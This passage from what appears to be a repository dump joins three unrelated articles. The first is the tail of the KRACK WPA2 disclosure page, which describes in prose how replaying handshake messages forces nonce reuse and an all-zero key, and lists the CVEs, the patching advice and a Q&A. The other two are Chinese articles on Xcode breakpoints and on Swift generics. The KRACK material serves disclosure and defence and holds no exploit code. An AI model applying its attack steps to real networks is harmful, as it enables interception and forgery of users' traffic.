negotiate a fresh encryption key. It will install this key after receiving message 3 of the 4-way handshake. Once the key is installed, it will be used to encrypt normal data frames using an encryption protocol. However, because messages may be lost or dropped, the Access Point (AP) will retransmit message 3 if it did not receive an appropriate response as acknowledgment. As a result, the client may receive message 3 multiple times. Each time it receives this message, it will reinstall the same encryption key, and thereby reset the incremental transmit packet number (nonce) and receive replay counter used by the encryption protocol. We show that **an attacker can force these nonce resets by collecting and replaying retransmissions of message 3 of the 4-way handshake**. By forcing nonce reuse in this manner, the encryption protocol can be attacked, e.g., packets can be replayed, decrypted, and/or forged. The same technique can also be used to attack the group key, PeerKey, TDLS, and fast BSS transition handshake.\n\n### Practical impact\n\nIn our opinion, the most widespread and practically impactful attack is the key reinstallation attack against the 4-way handshake. We base this judgement on two observations. First, during our own research we found that most clients were affected by it. Second, adversaries can use this attack to decrypt packets sent by clients, allowing them to intercept sensitive information such as passwords or cookies. Decryption of packets is possible because a key reinstallation attack causes the transmit nonces (sometimes also called packet numbers or initialization vectors) to be reset to zero. As a result, **the same encryption key is used with nonce values that have already been used in the past**. In turn, this causes all encryption protocols of WPA2 to reuse [keystream](https://en.wikipedia.org/wiki/Keystream) when encrypting packets. In case a message that reuses keystream has known content, it becomes trivial to derive the used keystream. This keystream can then be used to decrypt messages with the same nonce. When there is no known content, it is harder to decrypt packets, although still possible in several cases (e.g. [English text can still be decrypted](https://crypto.stackexchange.com/a/2250)). In practice, finding packets with known content is not a problem, so it should be assumed that any packet can be decrypted.\n\nThe ability to decrypt packets can be used to decrypt TCP SYN packets. This allows an adversary to obtain the TCP sequence numbers of a connection, and [hijack TCP connections](https://en.wikipedia.org/wiki/TCP_sequence_prediction_attack). As a result, even though WPA2 is used, the adversary can now perform one of the most common attacks against open Wi-Fi networks: injecting malicious data into unencrypted HTTP connections. For example, an attacker can abuse this to inject ransomware or malware into websites that the victim is visiting.\n\nIf the victim uses either the WPA-TKIP or GCMP encryption protocol, instead of AES-CCMP, the impact is especially catastrophic. **Against these encryption protocols, nonce reuse enables an adversary to not only decrypt, but also to forge and inject packets**. Moreover, because GCMP uses the same authentication key in both communication directions, and this key can be recovered if nonces are reused, it is especially affected. Note that support for GCMP is currently being rolled out under the name Wireless Gigabit (WiGig), and is expected to be [adopted at a high rate](http://www.grandviewresearch.com/press-release/global-wireless-gigabit-wigig-market) over the next few years.\n\nThe direction in which packets can be decrypted (and possibly forged) depends on the handshake being attacked. Simplified, when attacking the 4-way handshake, we can decrypt (and forge) packets sent _by_ the client. When attacking the Fast BSS Transition (FT) handshake, we can decrypt (and forge) packets sent _towards_ the client. Finally, most of our attacks also allow the replay of unicast, broadcast, and multicast frames. For further details, see Section 6 of [our research paper](#paper).\n\nNote that our attacks **do not recover the password of the Wi-Fi network**. They also do not recover (any parts of) the fresh encryption key that is negotiated during the 4-way handshake.\n\n### Android and Linux\n\nOur attack is especially catastrophic against version 2.4 and above of wpa_supplicant, a Wi-Fi client commonly used on Linux. Here, the client will install an all-zero encryption key instead of reinstalling the real key. This vulnerability appears to be caused by a remark in the Wi-Fi standard that suggests to clear the encryption key from memory once it has been installed for the first time. When the client now receives a retransmitted message 3 of the 4-way handshake, it will reinstall the now-cleared encryption key, effectively installing an all-zero key. Because Android uses wpa_supplicant, Android 6.0 and above also contains this vulnerability. This makes it **trivial to intercept and manipulate traffic sent by these Linux and Android devices**. Note that currently [50% of Android devices](https://developer.android.com/about/dashboards/index.html) are vulnerable to this exceptionally devastating variant of our attack.\n\n### Assigned CVE identifiers\n\nThe following Common Vulnerabilities and Exposures (CVE) identifiers were assigned to track which products are affected by specific instantiations of our key reinstallation attack:\n\n* [CVE-2017-13077](https://nvd.nist.gov/vuln/detail/CVE-2017-13077): Reinstallation of the pairwise encryption key (PTK-TK) in the 4-way handshake.\n* [CVE-2017-13078](https://nvd.nist.gov/vuln/detail/CVE-2017-13078): Reinstallation of the group key (GTK) in the 4-way handshake.\n* [CVE-2017-13079](https://nvd.nist.gov/vuln/detail/CVE-2017-13079): Reinstallation of the integrity group key (IGTK) in the 4-way handshake.\n* [CVE-2017-13080](https://nvd.nist.gov/vuln/detail/CVE-2017-13080): Reinstallation of the group key (GTK) in the group key handshake.\n* [CVE-2017-13081](https://nvd.nist.gov/vuln/detail/CVE-2017-13081): Reinstallation of the integrity group key (IGTK) in the group key handshake.\n* [CVE-2017-13082](https://nvd.nist.gov/vuln/detail/CVE-2017-13082): Accepting a retransmitted Fast BSS Transition (FT) Reassociation Request and reinstalling the pairwise encryption key (PTK-TK) while processing it.\n* [CVE-2017-13084](https://nvd.nist.gov/vuln/detail/CVE-2017-13084): Reinstallation of the STK key in the PeerKey handshake.\n* [CVE-2017-13086](https://nvd.nist.gov/vuln/detail/CVE-2017-13086): reinstallation of the Tunneled Direct-Link Setup (TDLS) PeerKey (TPK) key in the TDLS handshake.\n* [CVE-2017-13087](https://nvd.nist.gov/vuln/detail/CVE-2017-13087): reinstallation of the group key (GTK) when processing a Wireless Network Management (WNM) Sleep Mode Response frame.\n* [CVE-2017-13088](https://nvd.nist.gov/vuln/detail/CVE-2017-13088): reinstallation of the integrity group key (IGTK) when processing a Wireless Network Management (WNM) Sleep Mode Response frame.\n\nNote that each CVE identifier represents a specific instantiation of a key reinstallation attack. This means each CVE ID describes a specific protocol vulnerability, and therefore **many vendors are affected by each individual CVE ID**. You can also read [vulnerability note VU#228519](https://www.kb.cert.org/vuls/id/228519) of CERT/CC for additional details on which products are known to be affected.\n\n## Paper\n\nOur research paper behind the attack is titled [Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2](https://papers.mathyvanhoef.com/ccs2017.pdf) and will be presented at the [Computer and Communications Security (CCS)](https://www.sigsac.org/ccs/CCS2017/) conference on [Wednesday 1 November 2017](https://acmccs.github.io/session-F3/).\n\nAlthough this paper is made public now, it was already submitted for review on 19 May 2017. After this, only minor changes were made. As a result, the findings in the paper are already several months old. In the meantime, we have found easier techniques to carry out our key reinstallation attack against the 4-way handshake. With our novel attack technique, it is now trivial to exploit implementations that only accept encrypted retransmissions of message 3 of the 4-way handshake. In particular this means that **attacking macOS and OpenBSD is significantly easier than discussed in the paper**.\n\nWe would like to highlight the following addendums and errata:\n\n### Addendum: wpa_supplicant v2.6 and Android 6.0+\n\nLinux's wpa_supplicant v2.6 is also vulnerable to the installation of an all-zero encryption key in the 4-way handshake. This was discovered by John A. Van Boxtel. As a result, all Android versions higher than 6.0 are also affected by the attack, and hence can be tricked into installing an all-zero encryption key. The new attack works by injecting a forged message 1, with the same ANonce as used in the original message 1, before forwarding the retransmitted message 3 to the victim.\n\n### Addendum: other vulnerable handshakes\n\nAfter our initial research as reported in the paper, we discovered that the TDLS handshake and WNM Sleep Mode Response frame are also vulnerable to key reinstallation attacks.\n\n### Selected errata\n\n* In Figure 9 at stage 3 of the attack, the frame transmitted from the adversary to the authenticator should say a ReassoReq instead of ReassoResp.\n\n## Tools\n\nWe have made scripts to detect whether an implementation of the 4-way handshake, group key handshake, or Fast BSS Transition (FT) handshake is vulnerable to key reinstallation attacks. These scripts will be released once we have had the time to clean up their usage instructions.\n\nWe also made a proof-of-concept script that exploits the all-zero key (re)installation present in certain Android and Linux devices. This script is the one that we used in the [demonstration video](#demo). It will be released once everyone has had a reasonable chance to update their devices (and we have had a chance to prepare the code repository for release). We remark that the reliability of our proof-of-concept script may depend on how close the victim is to the real network. If the victim is very close to the real network, the script may fail because the victim will always directly communicate with the real network, even if the victim is (forced) onto a different Wi-Fi channel than this network.\n\n## Q&A\n\n### Do we now need WPA3?\n\nNo, luckily **implementations can be patched in a backwards-compatible manner**. This means a patched client can still communicate with an unpatched access point (AP), and vice versa. In other words, a patched client or access point sends exactly the same handshake messages as before, and at exactly the same moment in time. However, the security updates will assure a key is only installed once, preventing our attack. So again, update all your devices once security updates are available. Finally, although an unpatched client can still connect to a patched AP, and vice versa, _both_ the client and AP must be patched to defend against all attacks!\n\n### Should I change my Wi-Fi password?\n\nChanging the password of your Wi-Fi network does not prevent (or mitigate) the attack. So you do not have to update the password of your Wi-Fi network. Instead, you should make sure all your devices are updated, and you should also update the firmware of your router. Nevertheless, after updating both your client devices and your router, it's never a bad idea to change the Wi-Fi password.\n\n### I'm using WPA2 with only AES. That's also vulnerable?\n\nYes, that network configuration is also vulnerable. The attack works against both WPA1 and WPA2, against personal and enterprise networks, and against any cipher suite being used (WPA-TKIP, AES-CCMP, and GCMP). So everyone should update their devices to prevent the attack!\n\n### You use the word \"we\" in this website. Who is we?\n\nI use the word \"we\" because that's what I'm used to writing in papers. In practice, all the work is done by me, with me being Mathy Vanhoef. My awesome supervisor is added under an [honorary authorship](https://en.wikipedia.org/wiki/Academic_authorship#Honorary_authorship) to the research paper for his excellent general guidance. But all the real work was done on my own. So the [author list](http://phdcomics.com/comics.php?f=562) of academic papers does not represent [division of work](https://imgur.com/a/mKnnu) :)\n\n### Is my device vulnerable?\n\nProbably. Any device that uses Wi-Fi is likely vulnerable. Contact your vendor for more information.\n\n### What if there are no security updates for my router?\n\nOur main attack is against the 4-way handshake, and does not exploit access points, but instead targets clients. So it might be that your router does not require security updates. We strongly advise you to contact your vendor for more details. In general though, you can try to mitigate attacks against routers and access points by disabling client functionality (which is for example used in repeater modes) and disabling 802.11r (fast roaming). For ordinary home users, your priority should be updating clients such as laptops and smartphones.\n\n### How did you discover these vulnerabilities?\n\nWhen working on the final (i.e. camera-ready) version of [another paper](https://lirias.kuleuven.be/bitstream/123456789/572634/1/asiaccs2017.pdf), I was double-checking some claims we made regarding OpenBSD's implementation of the 4-way handshake. In a sense I was slacking off, because I was supposed to be just finishing the paper, instead of staring at code. But there I was, inspecting some code I already read a hundred times, to avoid having to work on the next paragraph. It was at that time that a particular call to [ic_set_key](https://github.com/openbsd/src/blob/ca7fda7e2ae9fcf15b882d71bc910143e6b0d09b/sys/net80211/ieee80211_pae_input.c#L519) caught my attention. This function is called when processing message 3 of the 4-way handshake, and it installs the pairwise key to the driver. While staring at that line of code I thought _“Ha. I wonder what happens if that function is called twice”_. At the time I (correctly) guessed that calling it twice might reset the nonces associated to the key. And since message 3 can be retransmitted by the Access Point, in practice it might indeed be called twice. _“Better make a note of that. Other vendors might also call such a function twice. But let's first finish this paper...”_. A few weeks later, after finishing the paper and completing some other work, I investigated this new idea in more detail. And the rest is history.\n\n### The 4-way handshake was mathematically proven as secure. How is your attack possible?\n\nThe brief answer is that the formal proof does not assure a key is installed once. Instead, it only assures the negotiated key remains secret, and that handshake messages cannot be forged.\n\nThe longer answer is mentioned in [the introduction of our research paper](#paper): our attacks do not violate the security properties proven in formal analysis of the 4-way handshake. In particular, these proofs state that the negotiated encryption key remains private, and that the identity of both the client and Access Point (AP) is confirmed. Our attacks do not leak the encryption key. Additionally, although normal data frames can be forged if TKIP or GCMP is used, an attacker cannot forge handshake messages and hence cannot impersonate the client or AP during handshakes. Therefore, the properties that were proven in formal analysis of the 4-way handshake remain true. However, the problem is that the proofs do not model key installation. Put differently, the formal models did not define when a negotiated key should be installed. In practice, this means the same key can be installed multiple times, thereby resetting nonces and replay counters used by the encryption protocol (e.g. by WPA-TKIP or AES-CCMP).\n\n### Some attacks in the paper seem hard\n\nWe have follow-up work making our attacks (against macOS and OpenBSD for example) significantly more general and easier to execute. So although we agree that some of the attack scenarios in the paper are rather impractical, do not let this fool you into believing key reinstallation attacks cannot be abused in practice.\n\n### If an attacker can do a man-in-the-middle attack, why can't he just decrypt all the data?\n\nAs mentioned in the demonstration, the attacker first obtains a man-in-the-middle (MitM) position between the victim and the real Wi-Fi network (called a [channel-based MitM position](https://lirias.kuleuven.be/bitstream/123456789/473761/1/acsac2014.pdf)). However, this MitM position does not enable the attacker to decrypt packets! This position only allows the attacker to reliably delay, block, or replay _encrypted_ packets. So at this point in the attack, he or she cannot yet decrypt packets. Instead, the ability to reliably delay and block packets is used to execute a key reinstallation attack. After performing a key reinstallation attack, packets can be decrypted.\n\n### Are people exploiting this in the wild?\n\nWe are not in a position to determine if this vulnerability has been (or is being) actively exploited in the wild. That said, key reinstallations can actually occur spontaneously without an adversary being present! This may for example happen if the last message of a handshake is lost due to background noise, causing a retransmission of the previous message. When processing this retransmitted message, keys may be reinstalled, resulting in nonce reuse just like in a real attack.\n\n### Should I temporarily use WEP until my devices are patched?\n\n**NO!** Keep using WPA2.\n\n### Will the Wi-Fi standard be updated to address this?\n\nThere seems to be an agreement that the Wi-Fi standard should be updated to explicitly prevent our attacks. These updates likely will be backwards-compatible with older implementations of WPA2. Time will tell whether and how the standard will be updated.\n\n### Is the Wi-Fi Alliance also addressing these vulnerabilities?\n\nFor those unfamiliar with Wi-Fi, the [Wi-Fi Alliance](https://en.wikipedia.org/wiki/Wi-Fi_Alliance) is an organization which certifies that Wi-Fi devices conform to certain standards of interoperability. Among other things, this assures that Wi-Fi products from different vendors work well together.\n\n[The Wi-Fi Alliance has a plan](https://www.wi-fi.org/securityupdate2017) to help remedy the discovered vulnerabilities in WPA2\\. Summarized, they will:\n\n* Require testing for this vulnerability within their global certification lab network.\n* Provide a vulnerability detection tool for use by any Wi-Fi Alliance member (this tool is based on my own detection tool that determines if a device is vulnerable to some of the discovered key reinstallation attacks).\n* Broadly communicate details on this vulnerability, including remedies, to device vendors. Additionally, vendors are encouraged to work with their solution providers to rapidly integrate any necessary patches.\n* Communicate the importance for users to ensure they have installed the latest recommended security updates from device manufacturers.\n\n### Why did you use match.com as an example in the demonstration video?\n\nUsers share a lot of personal information on websites such as match.com. So this example highlights all the sensitive information an attacker can obtain, and hopefully with this example people also better realize the potential (personal) impact. We also hope this example makes people aware of [all the information these dating websites may be collecting](https://www.theguardian.com/technology/2017/sep/26/tinder-personal-data-dating-app-messages-hacked-sold).\n\n### How can these types of bugs be prevented?\n\nWe need more rigorous inspections of protocol implementations. This requires help and additional research from the academic community! Together with other researchers, we hope to organize workshop(s) to improve and verify the correctness of security protocol implementations.\n\n### Why the domain name krackattacks.com?\n\nFirst, I'm aware that KRACK attacks is a [pleonasm](https://en.wikipedia.org/wiki/Pleonasm), since KRACK stands for <u>k</u>ey <u>r</u>einstallation <u>a</u>tta<u>ck</u> and hence already contains the word attack. But the domain name rhymes, so that's why it's used.\n\n### Did you get bug bounties for this?\n\nI haven't applied for any bug bounties yet, nor have I received one already.\n\n### How does this attack compare to other attacks against WPA2?\n\nThis is the first attack against the WPA2 protocol that doesn't rely on password guessing. Indeed, other attacks against WPA2-enabled network are against surrounding technologies such as [Wi-Fi Protected Setup (WPS)](http://archive.hack.lu/2014/Hacklu2014_offline_bruteforce_attack_on_wps.pdf), or are attacks against older standards such as [WPA-TKIP](https://lirias.kuleuven.be/bitstream/123456789/401042/1/wpatkip.pdf). Put differently, none of the existing attacks were against the 4-way handshake or against cipher suites defined in the WPA2 protocol. In contrast, our key reinstallation attack against the 4-way handshake (and against other handshakes) highlights vulnerabilities in the WPA2 protocol itself.\n\n### Are other protocols also affected by key reinstallation attacks?\n\nWe expect that certain _implementations of other protocols_ may be vulnerable to similar attacks. So it's a good idea to audit security protocol implementations with this attack in mind. However, we consider it unlikely that other _protocol standards_ are affected by similar attacks (or at least so we hope). Nevertheless, it's still a good idea to audit other protocols!\n\n### Is there a higher resolution version of the logo?\n\n[Yes there is](images/logo.png). And a big thank you goes to the person that made the logo!\n\n### When did you first notify vendors about the vulnerability?\n\nWe sent out notifications to vendors whose products we tested ourselves around 14 July 2017\\. After communicating with these vendors, we realized how widespread the weaknesses we discovered are (only then did I _truly_ convince myself it was indeed a protocol weaknesses and not a set of implementation bugs). At that point, we decided to let [CERT/CC](https://cert.org/) help with the disclosure of the vulnerabilities. In turn, CERT/CC sent out a broad notification to vendors on 28 August 2017.\n\n### Why did OpenBSD silently release a patch before the embargo?\n\nOpenBSD was notified of the vulnerability on 15 July 2017, before CERT/CC was involved in the coordination. Quite quickly, Theo de Raadt replied and critiqued the tentative disclosure deadline: _“In the open source world, if a person writes a diff and has to sit on it for a month, that is very discouraging”_. Note that I wrote and included a suggested diff for OpenBSD already, and that at the time the tentative disclosure deadline was around the end of August. As a compromise, I allowed them to silently patch the vulnerability. In hindsight this was a bad decision, since others might rediscover the vulnerability by inspecting their silent patch. To avoid this problem in the future, OpenBSD will now receive vulnerability notifications closer to the end of an embargo.\n\n### So you expect to find other Wi-Fi vulnerabilities?\n\n*“I think we're just getting started.”*  — Master Chief, Halo 1\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/breakpoints-debugging-like-pro.md",
    "content": "> * 原文地址：[Breakpoints: Debugging like a Pro](https://cheesecakelabs.com/blog/breakpoints-debugging-like-pro/)\n> * 原文作者：[Alan Ostanik](https://cheesecakelabs.com/blog/author/alan/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/breakpoints-debugging-like-pro.md](https://github.com/xitu/gold-miner/blob/master/TODO/breakpoints-debugging-like-pro.md)\n> * 译者：[PTHFLY](https://github.com/pthtc)\n> * 校对者：[ryouaki](https://github.com/ryouaki)\n\n# 断点：像专家一样调试代码\n\n![](https://s3.amazonaws.com/ckl-website-static/wp-content/uploads/2017/06/Banner_xcode3.png)\n\n当我刚开始成为一名iOS开发者的时候，我最大的问题是：当应用崩溃时，我真的不知道 iOS 、 Swift 、Objective-C 都是如何工作的。那时候，我写了很多烂代码，从不担心内存使用、内存访问、 ARC （译者注：Automatic Reference Counting ）。那仅仅是因为我不知道那些事情。看在上帝的份上，我是个菜鸟。\n\n就像许多新手一样， [Stack Overflow](http://www.stackoverflow.com \"Stack Overflow\") 社区教会我许多关于『如何做正确的事情』的方法。我学到了许多帮助提升工作过程的窍门。在这篇文章中，我将分享在这一阶段过程中最重要的一些工具，那就是**断点**！\n\n那么，撸起袖子干起来吧。🙂\n\n# 断点\n\n毫无疑问， Xcode 断点是一个强大的工具。其主要目的是调试代码，但是如果我说他们还要更多作用呢？ OK，那我们从一些窍门开始吧。\n\n## Conditioning breakpoints 条件断点\n\n也许你已经陷入了这样一种困境：你的 _TableView_ 对于所有用户 model 都运行良好，可就是有那么一个引起来一些麻烦。为了调试这个实例，首先你可能会想：『 _Ok ， 我会在 cell 装载的地方打个断点看看什么情况_』。但是对于每个 cell ，甚至是暂时正常的那些，你的断点都会被激活，你不得不不停跳过直到你抵达你想要调试的那个。\n\n[![The Office TV show gif, saying \"please god, no\"](https://media.giphy.com/media/12XMGIWtrHBl5e/giphy.gif)](https://media.giphy.com/media/12XMGIWtrHBl5e/giphy.gif)\n\n为了解决这些问题，你可以继续然后给断点设置一个停止的条件，就像我对用户『 Charlinho 』做的那样。\n![A conditional breakpoint screenshot](https://s3.amazonaws.com/ckl-website-static/wp-content/uploads/2017/06/3.png)\n\n## Symbolic Breakpoints 标志断点\n\n> _“放轻松，我会用 pod ，那应该会给我们省点工作量。”_\n\n谁都无法保证永远不会说这句话。但是使用 pod 或者一个外部库意味着你向你的工程引入了外部代码并且也许你并不知道它是怎么写出来的。比如说你发现在 pod 内部一堆方法里存在一个错误，但是你不知道这个方法在哪里。做个深呼吸，保持冷静。你有**_Symbolic Breakpoints_**_._\n\n当事先声明的 _标志_ 被唤醒，这些断点会被激活。 _标志_ 可以是任何非成员函数、实例、类方法，是否在你的类里都可以。因此在函数中加一个断点，无论谁唤醒它，你只要加一个  _Symbolic Breakpoint_ 来观察你想要调试的函数。在我下面的样例中，我观察  _UIViewAlertForUnsatisfiableConstraints_ 方法。每当 Xcode 发现 _Autolayout_ 问题的时候，这个方法都会被唤醒。你可以看在[这篇博文](http://nshint.io/blog/2015/08/17/autolayout-breakpoints/)看一个更深入的例子。\n\n![A Symbolic breakpoint option screenshot](https://s3.amazonaws.com/ckl-website-static/wp-content/uploads/2017/06/2.png)\n\n## Customizing breakpoints 自定义断点\n\n像我之前说的，断点是一个强大的工具。你知道吗？你甚至可以在端点上自定义动作。是的，你可以这么做！你可以运行 AppleScript ，捕获 CPU 框架，使用 LLDB ( Low-level Debugger ， XCode 内置的调试工具)命令，甚至 shell 命令。\n\n![](https://s3.amazonaws.com/ckl-website-static/wp-content/uploads/2017/05/4.png)\n\n你只需要简单地点击右边的按钮，选择 _edit breakpoint_ 。\n\n### 好了，你看会想: “酷！但是为什么要这么做？”\n\n我会给你一个很好的使用案例来帮助你的理解。一个 APP 中最常见的功能是登录，有时候测试它有点无聊。如果你正在同时使用管理员账号和普通账号，你需要不停地输入用户和密码，会让这个过程变得难以忍受。一般的『自动化』登录页面的方法是创建一个 _模拟_ 实例，并把它应用于 _if debug_ 分句。像这样：\n\n```\nstruct TestCredentials {\n    static let username = \"robo1\"\n    static let password = \"xxxxxx\"\n}\n\nprivate func fillDebugData() {\n     self.userNameTxtField.text = TestCredentials.username\n     self.passwordTxtField.text = TestCredentials.password\n}\n```\n\n### 但是你可以用断点来让事情变得简单一点！\n\n进入登录页面，加一个断点，然后加了两个填写账号密码的 LLDB 表达式。像我下面的例子一样：\n\n![A Custom breakpoint executing express commands. ](https://s3.amazonaws.com/ckl-website-static/wp-content/uploads/2017/06/6.png)\n\n考虑到这一点，你可以加两个不同身份的断点。你只要生效/失效你想要测试的那个，就可以在两个身份间切换了。一旦你在运行中切换用户，也不需要重新构建。\n\n很酷，不是吗？\n\n# COMBO BREAKER!\n\n在我写这篇文章的时候，WWDC 2017 正在举行。他们发布了一些例如新版 Xcode 9 这样的酷炫家伙。如果你想知道在 Xcode 9 中有哪些新的调试工具，我强烈推荐看 [Session 404](https://developer.apple.com/videos/play/wwdc2017/404/)。\n\n[![](https://media.giphy.com/media/l41m0ysPANVkPS8JW/giphy.gif)](https://media.giphy.com/media/l41m0ysPANVkPS8JW/giphy.gif)\n\n这就是全部内容了！现在你知道了一些在我还是新手的时候帮助巨大的最基础的断点窍门。还有哪些我没有提到的酷炫窍门呢？你也有好的主意？请在评论区随意讨论！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/bridging-existentials-generics-swift-2.md",
    "content": "> * 原文链接 : [Bridging Existentials & Generics in Swift 2](http://blog.benjamin-encz.de/post/bridging-existentials-generics-swift-2/)\n> * 原文作者 : [Benjamin Encz](http://blog.benjamin-encz.de/about)\n> * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者 : [Nicolas(Yifei) Li](https://github.com/yifili09) \n> * 校对者: [Gran](https://github.com/Graning), [MAYDAY1993](https://github.com/MAYDAY1993)\n\n# Swift 2 中为实存类型和泛型搭桥牵线\n\n我们又回到了讨论泛型的另一个章节，来讨论泛型，有其他类型的协议和在 `Swift 2` 中的其他类型的系统限制。这次我们会深入讨论一个有趣的变通方法，它是那个声名狼藉的 [jckarter](https://twitter.com/jckarter) 教会我的。我们也会讨论在未来的 `Swift` 版本中，这个变通方法通过增强型的实存类型就变得不必要了。\n\n## `Swift` 中的实存类型\n\n一般而言，实存类型允许我们去使用类型的需求来定义类型变量。我们可以在整个项目中使用这些类型变量，它可以不需要被知道背后是具体的哪个类型实现这些需求的。\n\n在 `Swift 2` 中，只有使用 `protocol<>` 语法 ( [在 `Swift 3` 中会被 `&` 语法替换](https://github.com/apple/swift-evolution/blob/master/proposals/0095-any-as-existential.md) ) 才能定义一个实存类型。\n\n通过定义一个方法函数，它需要使用一个实存类型参数，我们能在不知道参数的具体类型的情况下，使用实存类型中任意的一个:\n\n\n```\n    protocol Saveable {\n        func save()\n    }\n\n    protocol Loadable {\n        func load()\n    }\n\n    func doThing(thing: protocol<Saveable, Loadable>) {\n        thing.save()\n        thing.load()\n    }\n```\n\n\n在许多实存类型的实现方式上，他们与泛型都很想象。为什么我们选择这个而不是其他？我的一个朋友 `Russ Bishop` 在他的博客上发布过一个文章，详细的讨论了实存类型和泛型 - [如果你对其中的细节好奇，你应该去读一读它](http://www.russbishop.net/swift-associated-types-cont) !\n\n## 为实存类型和泛型搭桥牵线\n\n在一个 [之前的博客文章中](http://blog.benjamin-encz.de/post/compile-time-vs-runtime-type-checking-swift/) 我指出了一些类型信息上的不一致性，泛型是静态的，它在编译的时候类型就确定了，实存类型在运行时候才能确定，这意味着类型的信息是动态的。\n\n今天，我想把注意力都放在一个具体的例子上（虽然会很简单），我们在 `PlanGrid` 应用程序中遇到过。\n\n作为我们的 `客户端-服务端` 同步过程的一部分，我们把从 `JSON` 解析出的内容持久化存储在我们的数据库中。我们通过泛型类数据访问这些对象来实现。数据访问对象有一个泛型类参数，它指定了这个将要被持久化保存的对象的类型。\n\n在我们简单的例子中，我们需要去持久化保存 `Cat`, `Dog` 和 `Cow` 实例。\n\n\n```\n    protocol PersistedType {}\n\n    // Types that will be persisted\n    class Cat: PersistedType {}\n    class Dog: PersistedType {}\n    class Cow: PersistedType {}\n\n    // DAO that provides a generic persistence mechanism\n    class GenericDAO<ObjectType: PersistedType> {\n        func save(objectType: ObjectType) {\n            print(\"Saved \\(objectType) in \\(ObjectType.self) DAO\")\n        }\n    }\n```\n\n\n在 `PlanGrid` 应用程序中，我们有一个协调点，它对我们泛型 `DAO(数据访问对象)` 所有特殊的实例都有一个引用。在同步过程中，我们遇到了一系列不同的类型，它们需要被准确的存储进泛型 `DAO(数据访问对象)` 类型。(比如，`cows` 应该被通过 `GenericDAO<Cow>` 来存储。)\n\n考虑到一个不同实例的异构列表，基于我们遇到的对象类型，我们想自动的查询，调用 `DAO(数据访问对象)` 进行持久化存储。\n\n\n```\n    // A list of our generic data stores\n    let genericDAOs: [Any] = [GenericDAO<Cat>(), GenericDAO<Dog>(), GenericDAO<Cow>()]\n\n    // A list of instances we have parsed & need to persist\n    let instances: [PersistedType] = [Cat(), Dog(), Cow()]\n```\n\n\n我们怎样实现一个有关迭代所有在 `实例` 中的元素并且保存他们进入泛型 `DAO(数据访问对象)`的循环，它有我们想要保存的匹配的类型参数。理论上，我们想按照以下内容实施(在 `Swift 2` 语法中是非法的):\n\n\n```\n    // `element` is an existential since we don't know the concrete type\n    // we only know it conforms to the `PeristedType` protocol.\n    for element in instances {\n        // Invalid! Cannot use existential type as generic type parameter\n        for case let dao as? GenericDAO<element.Self> in genericDAOs {\n            dao.save(element)\n        }\n    }\n```\n\n\n一些潜在的，对 `Swfit` 未来的提高能让这个方法实现，但是目前，我们不能对实存类型进行动态的引用(`element.Self`) 和作为一个泛型类型参数来使用它。\n\n## 变通方法\n\n`.Self` 成员变量，引用到某个实存类型的具体类型并不在 `Swift 2` 中存在。然而，我们能通过协议和扩展协议，使用 `Self` 来访问这个具体的实存类型。 \n\n使用这个聪明的反向控制，我们能配合 `PersistedType` 协议使用这个 `Self` 类型\n(那些所有持久类实现的)，对我们的 `GenericDAO<T>` 动态的指定泛型类参数。\n\n```\n    extension PersistedType {\n\n        // Pass in a list of all DAOs.\n        func saveInCorrectDAO(potentialDAOs: [Any]) {\n        \t// Iterate until we find GenericDAO with type parameter that matches\n        \t// our existential type.\n            for case let dao as GenericDAO<Self> in potentialDAOs {\n                dao.save(self)\n            }\n        }\n\n    }\n\n    // ...\n\n    for element in instances {\n        element.saveInCorrectDAO(genericDAOs)\n    }\n```\n\n\n通过这个协议的扩展，我们能成功使用这个底层的实存类型 (`Self`)，作为一个泛型类型的参数。虽然这个反向控制流根本不漂亮，但是这个变通方法非常有用，它很好的缩小了实存类型和泛型之间的隔阂。\n\n## 前途是光明的\n\n在许多其他重要的改进之间，[增强型的实存类型方案 **草稿**](https://github.com/austinzheng/swift-evolution/blob/az-existentials/proposals/XXXX-enhanced-existentials.md)  将会替代这个变通方法，通过允许通过 `.Self` 对底层的一个实存类型进行引用，并且让这个类型作为一个泛型类参数变得可能。\n\n虽然这个增强型实存类型的方案仍然处于紧锣密鼓的开发中，但它仍旧值得一读。如果这是最后一个我们今天将讨论的方案，我们会缩小实存类型和泛型之间的隔阂。更重要的是，配合其他类型的协议一起工作将再也不是难事 - 可能这是自从 `Swift` 面世以来最重要的改进了。\n\n对突破 `Swift` 的极限感兴趣么？ **[我们需要你！](http://grnh.se/8fcutd)**\n\n**参考文献**:\n\n*   [增强型实存类型 草稿 ( Enhanced Existentials Proposal Draft )](https://github.com/austinzheng/swift-evolution/blob/az-existentials/proposals/XXXX-enhanced-existentials.md) - 草稿方案，它正在被精雕细琢并且展示出很多对 `Swift` 的实存类型的巨大改进。\n*   [泛型的声明 ( Generics Manifesto 